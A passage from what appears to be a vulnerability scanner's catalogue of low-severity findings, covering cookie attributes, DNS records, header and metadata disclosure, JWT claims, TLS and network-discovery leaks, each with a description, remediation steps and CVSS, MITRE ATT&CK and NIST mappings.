Remediation: Set the HttpOnly flag on all session, authentication, and sensitive cookies in the application or web server configuration. This flag prevents client-side scripts from accessing the cookie value while still allowing the browser to include it in HTTP requests.
LOW GB-WEB-008 — Missing Secure Cookie Attribute: Secure
Description: A session or sensitive cookie was identified without the Secure attribute. Without this flag, the browser will transmit the cookie over both HTTPS and plaintext HTTP connections. If the application supports or redirects through any HTTP endpoint — even briefly — the session cookie will be included in the cleartext request and is visible to network attackers. This condition is commonly exploited via SSL stripping attacks that downgrade HTTPS to HTTP before the Secure cookie check takes effect.
Remediation: Set the Secure flag on all session, authentication, and sensitive cookies. Combined with a site-wide HTTPS redirect and HSTS, this ensures cookies are never transmitted over unencrypted channels.
LOW GB-WEB-009 — Missing Secure Cookie Attribute: SameSite
Description: A session or sensitive cookie was identified without a SameSite attribute. Cookies without SameSite are sent by the browser in all cross-site requests, including those initiated by third-party web pages. This exposes the application to cross-site request forgery (CSRF) attacks, where an attacker's page silently makes authenticated requests to the target application using the victim's browser-stored session cookie, potentially triggering state-changing actions without user consent.
Remediation: Set SameSite=Strict for cookies used in purely same-origin contexts, or SameSite=Lax as a minimum to prevent cookie transmission in cross-origin subresource requests while allowing top-level navigations. Avoid SameSite=None unless the cookie must be shared in cross-site embedded contexts, in which case the Secure attribute is also mandatory.
LOW GB-WEB-010 — Misconfigured Secure Cookie Attribute: SameSite
Description: A session or sensitive cookie was identified with the SameSite attribute set to an insecure value. Setting SameSite=None without also setting the Secure attribute causes the cookie to be rejected by modern browsers or sent over HTTP, while SameSite=Lax may be insufficient for applications requiring CSRF protection on all state-changing requests that can be triggered via cross-origin navigations. Misconfigured SameSite values indicate an incomplete implementation of the cookie security policy.
Remediation: If SameSite=None is required for cross-site embedding, the Secure attribute must also be present. Evaluate whether SameSite=Strict is appropriate; if so, upgrade from Lax to Strict. Review all state-changing endpoints to confirm they are protected by either SameSite=Strict or an additional CSRF token mechanism.
LOW IS-003 — Possibly encrypted file detected
Description: A file exhibits elevated Shannon entropy (7.5–7.99), suggesting possible encryption or heavy compression. The boundary between compressed and encrypted data is not always clear at this entropy range.
Impact: While potentially benign (compressed data naturally has high entropy), this finding warrants review to rule out encrypted payloads, obfuscated malware, or staged exfiltration archives.
Remediation: Verify whether the file is a known compressed format. If not, treat as potentially encrypted and investigate further.
Effort: Easy
MITRE ATT&CK: T1027 (Defense Evasion)
NIST 800-53: SC-13
LOW IS-004 — GPS coordinates embedded in file metadata
Description: A file (typically an image) contains GPS coordinates embedded in its EXIF metadata, potentially revealing the physical location where the file was created.
Impact: Exposed GPS coordinates can reveal sensitive locations such as office buildings, data centres, employee homes, or secure facilities. This information can be used for physical reconnaissance, social engineering, or targeted attacks.
Remediation: Strip EXIF metadata before sharing files externally. Use tools like exiftool -all= to remove metadata. Implement organisational policies requiring metadata stripping for outbound files.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: SC-28, SI-12
LOW OSIFT-004 — SSL/TLS Certificate Expiring Soon
Description: An SSL/TLS certificate for a discovered host will expire within 30 days. Expiry causes browser security warnings and can disrupt services.
Remediation: Renew the certificate before expiry. Implement automated certificate renewal (e.g., Let's Encrypt with certbot/acme.sh).
CVSS Vector: N/A
LOW OSIFT-010 — DKIM Configuration Missing
Description: No DKIM (DomainKeys Identified Mail) selector was discoverable for the target domain. Without DKIM, email authentication is weaker and phishing risk increases.
Remediation: Configure DKIM signing on your mail server and publish the public key as a DNS TXT record under <selector>._domainkey.<domain>.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1566 (Initial Access), T1036 (Defense Evasion)
NIST 800-53: SC-5, SI-8, SC-8
PCI DSS 4: 12.5.1
LOW OSIFT-030 — HTTP Security Headers Missing
Description: httpx detected missing security headers on a live host: Content-Security-Policy, X-Frame-Options, Strict-Transport-Security, X-Content-Type-Options, or Referrer-Policy.
Remediation: Add security headers to web server or application configuration. Verify with securityheaders.com.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
LOW OSIFT-033 — Wildcard DNS Record Detected
Description: A wildcard DNS record (*.domain.com) was detected. This causes all subdomains to resolve, which may mask dangling CNAMEs and complicate subdomain takeover detection.
Remediation: Remove wildcard records unless they serve a specific purpose. Document and review all subdomains that rely on wildcard resolution.
Effort: Moderate
CVSS Vector: N/A
NIST 800-53: SC-20, SC-21
PCI DSS 4: 1.3.3
LOW OSIFT-044 — DNS: Missing CAA Record
Description: No Certificate Authority Authorization (CAA) DNS record was found for the domain. CAA records restrict which certificate authorities are permitted to issue certificates for the domain.
Impact: Without a CAA record, any certificate authority worldwide can issue certificates for this domain. An attacker who compromises or social-engineers a less-secure CA can obtain a trusted certificate, enabling undetectable man-in-the-middle attacks against the organization's users and services.
Remediation: Add a CAA DNS record specifying the authorized certificate authorities for the domain. Example: 'example.com. IN CAA 0 issue "letsencrypt.org"'. This prevents unauthorized CAs from issuing certificates.
Effort: Easy
NIST 800-53: SC-17
LOW OSIFT-064 — Historical API Endpoint
Description: waymore discovered API endpoints in web archive data (/api/, /v1/, /v2/, /graphql, /rest/, /ws/, /webhook). These endpoints may represent current or deprecated API surfaces that can be probed for authentication bypasses, information disclosure, or injection vulnerabilities.
Impact: Historical API endpoints reveal the application's API structure, versioning scheme, and endpoint naming conventions. Deprecated API versions may lack security controls applied to current versions. API endpoints are high-value targets for authentication bypass, injection, and data exfiltration.
Remediation: Decommission deprecated API versions. Ensure all API endpoints require proper authentication and authorization. Maintain an up-to-date API inventory and remove endpoints that are no longer needed.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API9:2023 Improper Inventory Management
MITRE ATT&CK: T1596.005 (Reconnaissance)
NIST 800-53: CM-8
PCI DSS 4: 6.3.2
LOW OSIFT-065 — Document Metadata: Internal Username Leaked
Description: exiftool extracted an internal username from the Author or Creator metadata field of a publicly accessible document. This username may correspond to an internal Active Directory account, email address, or application login credential.
Impact: Leaked usernames enable targeted phishing, credential stuffing, and password spraying attacks. Internal usernames often follow predictable patterns (first.last, flast) that allow enumeration of additional accounts. Combined with other OSINT, usernames can be used for social engineering or to identify high-value targets (executives, administrators).
Remediation: Strip metadata from all documents before publishing. Use document management policies that automatically remove Author, Creator, and other identifying metadata fields. Configure document creation tools to use generic or organizational names instead of personal usernames.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.003 (Reconnaissance), T1592.004 (Reconnaissance)
NIST 800-53: SI-12, AC-6
PCI DSS 4: 3.4.1
LOW OSIFT-067 — Document Metadata: Internal File Path Leaked
Description: exiftool extracted an internal file system path (such as C:\Users\jsmith\Documents\... or /home/admin/reports/...) from a publicly accessible document's metadata. This reveals the internal directory structure, operating system, and potentially the username of the document creator.
Impact: Internal file paths reveal the organization's operating system, directory structure, username conventions, and internal project names. This information assists in crafting targeted phishing payloads, identifying high-value targets, and planning post-exploitation activities. Path structures can also reveal development vs. production environments.
Remediation: Strip metadata from all documents before publishing. Use metadata removal tools (exiftool -all=, mat2) as part of the document publishing workflow. Configure document templates to avoid embedding local file paths.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1592.004 (Reconnaissance)
NIST 800-53: SI-12
PCI DSS 4: 3.4.1
LOW PHX-043 — API Version Disclosure
Remediation: Maintain an API version inventory. Decommission deprecated API versions. Do not expose internal version strings in responses or error messages.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP API: API9:2023 – Improper Inventory Management
MITRE ATT&CK: T1592 (Reconnaissance)
NIST 800-53: CM-8
LOW PHX-069 — Information Disclosure – Server Version Banner
Remediation: Suppress or remove version information from Server, X-Powered-By, and X-AspNet-Version headers. Configure web server to return generic or no version strings.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-6, SI-11
LOW PHX-107 — Cookie Security Attribute Misconfiguration
Remediation: Set HttpOnly, Secure, and SameSite=Lax (or Strict) attributes on all cookies containing session tokens or sensitive values. For SameSite=None (cross-site use cases), always pair with the Secure flag. Review all Set-Cookie directives in application responses systematically.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
LOW PHX-110 — Missing DNS CAA Record
Remediation: Add a DNS CAA record for the domain restricting certificate issuance to your approved CAs. Include an iodef entry to receive notifications of unauthorised issuance attempts. Propagate the record to all DNS zones including subdomains that have independent certificate requirements.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1588.004 (Resource Development)
NIST 800-53: SC-20, SC-23
PCI DSS 4: 4.2.1
LOW PHX-121 — Debug / Diagnostic Header Data Leakage
Remediation: Remove all debug, trace, and internal diagnostic headers from production HTTP responses. Configure reverse proxies to strip headers added by backend services before returning responses to clients. Maintain a header whitelist for production environments.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.5.1
LOW PHX-169 — SSL/TLS Certificate — Validity Period Concerns
Remediation: Replace certificates with validity exceeding 398 days (Apple/browser-enforced limit). Ensure all certificates include Subject Alternative Names (SANs). Fix incomplete certificate chains by installing intermediate CA certificates. Automate certificate renewal with Let's Encrypt or ACME protocol. Use certificates with RSA-2048+ or ECDSA-256+ keys.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
LOW PHX-179 — OSINT PII Exposure — Phone Number
Remediation: Review publicly accessible pages, metadata, and contact forms for inadvertent phone number exposure. Apply data minimisation principles — only publish contact numbers that need to be public. Monitor external sources with OSINT tooling for leaked PII on a periodic basis.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.001 (Reconnaissance)
NIST 800-53: PM-5, PL-4, SC-28
PCI DSS 4: 12.5.1
LOW PHX-190 — Service/Application Version Disclosure — Reconnaissance
Remediation: Remove or genericise Server, X-Powered-By, Via, and X-AspNet-Version HTTP response headers. Configure web servers and application frameworks to suppress version strings from banners and error messages. Keep all disclosed components up to date to minimise the value of version information to an attacker.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW PHX-192 — Robots.txt Sensitive Path Disclosure
Remediation: Review robots.txt for entries referencing admin panels, internal APIs, backup directories, or other sensitive paths. Remove or genericise disallow entries that reveal security-relevant path structures. Rely on server-side access controls rather than robots.txt to protect sensitive paths — robots.txt provides no access restriction.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW PT-002 — Cleartext DNS Exposes External Service Topology
Description: All DNS queries are sent over cleartext UDP/53. Any on-path observer can enumerate the full set of external services the device depends on.
Impact: An attacker who can passively observe device traffic learns the entire backend architecture without active probing — cloud-provider endpoints, push-notification dependencies, captive-portal probe destinations and SaaS services in use.
Remediation: Implement DNS-over-HTTPS (RFC 8484) or DNS-over-TLS (RFC 7858) on the device.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
MITRE ATT&CK: T1071.004 (Command and Control)
NIST 800-53: SC-8, SC-20
LOW PT-003 — Device Identity Leaked in TLS Client Certificate (mTLS)
Description: The device authenticates with a client X.509 certificate (mTLS). The certificate subject is sent in cleartext during the handshake and exposes identifying information (serial, model, vendor PKI topology).
Impact: Passive observers can extract the device's identity from the TLS handshake bytes without decrypting any application data. Privacy-relevant in clinical contexts where the presence of a particular medical device indicates the patient population being served.
Remediation: Use opaque per-device identifier (UUID) as the Subject CN. Move human-readable serial / model into a custom certificate extension or SubjectAltName otherName.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-12, SC-17, IA-5
LOW PT-004 — TLS ClientHello Offers Legacy CBC Cipher Suites
Description: The device's TLS ClientHello offers legacy CBC-mode cipher suites alongside modern AEAD ciphers. While AEAD is typically negotiated, the CBC offer preserves a downgrade surface.
Impact: CBC suites are vulnerable to historical attacks (BEAST, Lucky13, POODLE-variants) when paired with TLS 1.0/1.1. In TLS 1.2 with correct implementation the practical exploit cost is high but the offer is unnecessary given AEAD alternatives are universally supported by every modern endpoint.
Remediation: Remove CBC cipher suites from the device's TLS ClientHello offer list. Keep only AEAD: TLS 1.3 (0x1301/02/03) and TLS 1.2 ECDHE-AEAD (0xc02c/2b/30/2f).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
NIST 800-53: SC-13, SC-8
LOW PT-103 — SSDP / UPnP Broadcasts Expose Internal Services
Description: SSDP/UPnP discovery traffic observed on the segment. SSDP advertises every UPnP-aware device (smart TVs, consumer routers, printers, NAS, IoT) on the local broadcast domain.
Impact: SSDP discovery reveals consumer-IoT, printers, smart TVs, NAS and router admin interfaces to anyone on the LAN. In a clinical network this co-mingles consumer devices with medical equipment and facilitates lateral discovery.
Remediation: Disable UPnP/SSDP on clinical-network hosts where not required. Block UDP/1900 at every L3 boundary.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
NIST 800-53: CM-7, SC-7
LOW PT-104 — mDNS Activity Exposes Device Identity on Internal Segment
Description: Device emits mDNS queries and/or responses on the local segment. mDNS exposes the device's hostname and services to any host on the multicast-reachable segment, and is reflected across L3 by mDNS-reflector-enabled gateways.
Impact: Device fingerprinting and asset enumeration without active probing. Reduces the cost of targeting a specific device for theft, social-engineering, or RF replay attack.
Remediation: Disable mDNS on the device if not required. Audit network-side mDNS reflector config (Avahi `reflector=yes`, UniFi 'Multicast DNS') and disable cross-VLAN reflection.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
NIST 800-53: CM-7
LOW PT-105 — LLDP Topology / Switch Firmware Disclosure
Description: LLDP TLVs observed on the segment leak switch identity, model and firmware. Information that downstream attackers can use to select vendor-specific CVEs.
Impact: An attacker passively learns the network gear vendor, model and firmware version without sending any probes. Combined with public CVE databases this is a free vulnerability-research head-start.
Remediation: Disable LLDP on access ports facing devices (`no lldp transmit` / `no lldp receive`). Keep LLDP only on inter-switch trunks.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2021 Broken Access Control
NIST 800-53: SC-7, CM-7
LOW SI-014 — JWT Missing Issued-At Claim
Description: The JWT issued by the API does not include an iat (issued-at) claim. The iat claim records when the token was created and enables server-side enforcement of token age policies. Without iat, the server cannot determine how long a token has been in circulation, making it impossible to enforce maximum token age, detect token replay from older sessions, or implement clock-skew tolerances. This weakens overall token lifecycle management.
Remediation: Include the iat claim in all issued JWTs, set to the Unix timestamp at the time of issuance. Validate iat on the server side to enforce maximum token age in addition to the exp claim. Use iat together with exp to implement sliding-window session expiry policies.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
LOW SI-017 — JWT Missing Expiry Claim
Description: The JWT issued by the API does not contain an exp (expiration) claim. Without an expiration claim, the token is theoretically valid indefinitely. An attacker who intercepts or steals a token (via XSS, network interception, log leakage, or insider threat) can use it perpetually without any time-based invalidation occurring. This violates the principle of least privilege as applied to authentication tokens and significantly increases the blast radius of any token compromise.
Remediation: Include an exp claim in all issued JWTs with an appropriate short-lived expiry (e.g., 15 minutes for access tokens, 24 hours for refresh tokens). Validate the exp claim server-side on every request. Implement token refresh logic for clients so that short-lived access tokens can be renewed using longer-lived refresh tokens. Never issue non-expiring tokens in production.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1550.001 (Defense Evasion), T1539 (Collection)
NIST 800-53: IA-5, SC-23, AC-12
PCI DSS 4: 8.2.4, 8.3.9
LOW SI-018 — Information Disclosure: Server Header
Description: The API response includes a Server HTTP header that discloses the web server software and version (e.g., Apache/2.4.51, nginx/1.21.3). This information assists an attacker in identifying the server technology stack and cross-referencing against known CVEs for that exact version. While not directly exploitable, version disclosure lowers the bar for targeted exploitation by eliminating reconnaissance effort.
Remediation: Configure the web server to suppress or mask the Server header. In nginx, set 'server_tokens off'. In Apache, set 'ServerTokens Prod' and 'ServerSignature Off'. Configure IIS to remove the Server header via HTTP response headers settings. Replace the header value with a generic string if complete removal is not possible.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW SI-019 — Information Disclosure: Via Header
Description: The API response includes a Via HTTP header that reveals information about intermediate proxies, load balancers, or CDN nodes in the request path. The Via header can expose internal hostnames, proxy software versions, or network topology that assists an attacker in mapping internal infrastructure. This information can be used to identify internal services, bypass CDN protections by directly targeting origin servers, or craft targeted attacks against specific proxy versions.
Remediation: Configure reverse proxies and CDN edge nodes to suppress or rewrite the Via header before forwarding responses to clients. If Via is required for debugging purposes, ensure it only contains generic identifiers rather than internal hostnames or software versions. Use network segmentation to prevent direct access to origin servers bypassing the CDN.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW SI-020 — Information Disclosure: X-Powered-By Header
Description: The API response includes an X-Powered-By header that discloses the application framework or runtime (e.g., PHP/8.1.0, ASP.NET, Express). This information enables an attacker to identify the specific framework in use and correlate it against known vulnerabilities for that version. X-Powered-By is a non-standard header set by frameworks by default and provides no functional benefit to legitimate clients.
Remediation: Remove the X-Powered-By header at the framework or server level. In Express.js, call 'app.disable("x-powered-by")'. In PHP, set 'expose_php = Off' in php.ini. In ASP.NET, remove the X-Powered-By header in the web.config customHeaders section. Alternatively, strip the header at the reverse proxy or WAF layer.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW SI-021 — Information Disclosure: X-AspNet-Version Header
Description: The API response includes an X-AspNet-Version header disclosing the exact version of the ASP.NET runtime in use. This version string enables targeted exploitation of known ASP.NET vulnerabilities specific to that version, including deserialization bugs, ViewState tampering vulnerabilities, and padding oracle attacks. The header provides no functional value to clients and represents unnecessary information exposure.
Remediation: Disable the X-AspNet-Version header by adding '<httpRuntime enableVersionHeader="false" />' to the system.web section of web.config. Additionally configure IIS to remove the X-Powered-By and Server headers via customHeaders configuration. Keep ASP.NET runtime patched to the latest stable version regardless of header suppression.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1592.002 (Reconnaissance)
NIST 800-53: CM-7, SI-12
PCI DSS 4: 6.2.4
LOW SI-022 — Permissive Security Header: Content-Security-Policy
Description: The API response includes a Content-Security-Policy header, but the policy is overly permissive (e.g., contains 'unsafe-inline', 'unsafe-eval', wildcard sources like '*', or 'data:' in script-src). A permissive CSP reduces protection against Cross-Site Scripting (XSS) attacks compared to a strict policy. While the header is present, its configuration does not provide meaningful protection against script injection.
Remediation: Harden the CSP to remove 'unsafe-inline' and 'unsafe-eval' from script-src directives. Use nonces or hashes for inline scripts instead of blanket unsafe-inline permission. Restrict source allowlists to specific trusted domains. Use 'strict-dynamic' for modern browsers. Test the policy using Google's CSP Evaluator before deploying. Apply CSP to all API responses that return HTML content.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
LOW SI-023 — Permissive Security Header: Strict-Transport-Security
Description: The API response includes a Strict-Transport-Security (HSTS) header, but it is configured with a very short max-age value (typically less than one year), lacks the 'includeSubDomains' directive, or lacks 'preload'. A weak HSTS configuration leaves a window during which users can be downgraded to HTTP via SSL stripping attacks. The presence of the header is positive, but the permissive configuration reduces its protective value.
Remediation: Set the HSTS max-age to at least 31536000 seconds (one year). Add the 'includeSubDomains' directive to protect all subdomains. Consider adding 'preload' and submitting the domain to the HSTS preload list at https://hstspreload.org. Ensure HSTS is only set over HTTPS connections and never over HTTP.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
OWASP API: API8:2023 Security Misconfiguration
LOW SI-024 — Permissive Security Header: X-Frame-Options
Description: The API response includes an X-Frame-Options header set to ALLOWFROM or a value other than DENY or SAMEORIGIN. ALLOWFROM has inconsistent browser support and may not provide effective clickjacking protection in all browsers. A permissive or inconsistent X-Frame-Options value reduces protection against UI redress attacks where the API's responses are framed in an attacker-controlled page.
Remediation: Set X-Frame-Options to DENY if the content should never be framed, or SAMEORIGIN if framing from the same origin is required. Prefer using the Content-Security-Policy frame-ancestors directive as a modern replacement, as it offers more granular control and is consistently supported. Remove ALLOWFROM configurations entirely.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
LOW SI-025 — Permissive Security Header: X-Content-Type-Options
Description: The API response includes an X-Content-Type-Options header with an invalid or non-standard value rather than the required 'nosniff'. A header value other than 'nosniff' does not prevent MIME-type sniffing in browsers and provides no protection against attacks that exploit browsers executing incorrectly typed content (e.g., a JSON file with executable JavaScript content being sniffed and executed as text/html).
Remediation: Set the X-Content-Type-Options header to exactly 'nosniff' on all API responses. This is a binary setting — only 'nosniff' is valid. Ensure the correct Content-Type header is also set on all responses to prevent browsers from needing to sniff the content type.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
LOW SI-026 — Permissive Security Header: Referrer-Policy
Description: The API response includes a Referrer-Policy header set to an overly permissive value such as 'unsafe-url' or 'no-referrer-when-downgrade'. These values cause the browser to send the full URL (including query parameters, authentication tokens, or session identifiers embedded in URLs) as the Referrer header to third-party domains. This can lead to sensitive data leakage to analytics providers, CDNs, or any third-party resource loaded by the page.
Remediation: Set Referrer-Policy to 'strict-origin-when-cross-origin' or 'no-referrer' depending on business requirements. Avoid 'unsafe-url' in all cases. For API endpoints that do not serve HTML, set the Referrer-Policy to 'no-referrer'. Ensure that sensitive information such as tokens or session IDs are never included in URLs.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
LOW SI-027 — Permissive Security Header: Cache-Control
Description: The API response includes a Cache-Control header, but it allows caching of potentially sensitive responses. For example, the value may be missing 'no-store', or may allow public proxies to cache authenticated responses via 'public' or 'max-age' directives without 'private'. Sensitive API responses cached by intermediary proxies, CDNs, or shared caches can be accessed by other users or attackers with access to those caches.
Remediation: For authenticated or sensitive API responses, set Cache-Control to 'no-store, private' to prevent caching at all levels. For public, non-sensitive responses, use appropriate 'public' and 'max-age' directives. Review all endpoints that return user-specific data and ensure their Cache-Control headers prevent intermediate caching.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
LOW SI-028 — Missing Secure Cookie Attribute: SameSite
Description: An API session cookie does not include the SameSite attribute. Without SameSite, the browser will send the cookie on all cross-site requests, including those initiated by attacker-controlled third-party sites. This enables Cross-Site Request Forgery (CSRF) attacks where an attacker can cause authenticated actions to be performed without the user's knowledge. While REST APIs using Authorization headers are generally not susceptible to CSRF, cookie-based API authentication without SameSite is vulnerable.
Remediation: Set the SameSite attribute to 'Lax' as a minimum, or 'Strict' for sensitive cookies such as session tokens. 'None' should only be used when cross-site cookie sending is explicitly required, and must be paired with the Secure attribute. Evaluate whether cookie-based authentication is appropriate for the API, or whether Authorization headers should be used instead.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
LOW SI-029 — Misconfigured Secure Cookie Attribute: SameSite
Description: An API session cookie includes the SameSite attribute but it is set to 'None' without a legitimate cross-site requirement, or is set to a value that browsers do not recognize and fall back to treating as SameSite=None. SameSite=None without a strong justification allows cross-site request forgery attacks the same as having no SameSite attribute. This finding also covers cookies where SameSite=None is set without the required Secure flag, which modern browsers will reject entirely.
Remediation: Audit all cookies with SameSite=None and confirm each has a documented business requirement for cross-site access. Ensure SameSite=None is always paired with the Secure attribute. Where cross-site access is not required, change SameSite to 'Lax' or 'Strict'. Remove any unrecognized or typo'd SameSite values.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1539 (Collection), T1185 (Collection)
NIST 800-53: SC-8, IA-5, SC-23
PCI DSS 4: 6.4.1, 6.5.10
LOW SI-135 — Enumerated Parameter Value Restriction Not Enforced
Description: An API parameter that declares a fixed set of allowed (enumerated) values accepted a value outside that set instead of rejecting it, indicating that server-side validation of the parameter is missing or relies solely on the client/specification.
Impact: Missing enforcement of declared value constraints lets an attacker submit unexpected values that the application's business logic never anticipated, which can drive it into unhandled states, bypass workflow restrictions, or reach code paths intended only for specific enumerated options. On its own the impact is usually low, but it is a reliable building block for more serious logic and access-control abuse.
Remediation: Validate every parameter server-side against its declared allowed value set and reject unknown values with HTTP 400; never rely on client-side or specification-only enforcement.
Effort: Easy
OWASP API: API8:2023 Security Misconfiguration
LOW SI-136 — Numeric Parameter Boundary Not Enforced
Description: A numeric API parameter that declares minimum/maximum bounds accepted a value far outside the declared range instead of rejecting it, indicating missing server-side range validation.
Impact: Unbounded numeric input can cause integer overflow, excessive resource allocation (e.g. huge page sizes or quantities), pricing/quantity manipulation in business flows, or denial of service. The acceptance itself is low severity but frequently underpins resource-exhaustion and business-logic attacks.
Remediation: Enforce declared minimum/maximum (and length) constraints on numeric parameters server-side and reject out-of-range values.
Effort: Easy
OWASP API: API8:2023 Security Misconfiguration
LOW SI-138 — HTTP Parameter Pollution
Description: The API accepted duplicate occurrences of the same query parameter and the response differed from the single-value baseline, indicating ambiguous or inconsistent handling of repeated parameters across the application stack.
Impact: Inconsistent duplicate-parameter handling between front-end proxies/WAFs and the backend lets an attacker smuggle a second value past input filtering or access-control checks (e.g. one component validates the first occurrence while another uses the last), enabling filter/WAF bypass, authorization confusion, and tainted input reaching sensitive sinks.
